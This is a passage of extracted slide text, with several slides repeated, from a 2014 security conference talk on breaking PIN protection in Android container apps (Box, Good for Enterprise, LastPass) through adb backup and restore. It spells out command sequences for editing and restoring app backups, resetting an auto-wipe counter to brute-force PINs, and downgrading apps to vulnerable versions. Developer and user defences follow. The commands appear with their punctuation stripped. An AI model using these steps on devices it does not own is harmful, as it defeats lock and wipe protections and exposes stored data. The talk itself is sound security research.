  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 109: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 110: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 111: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

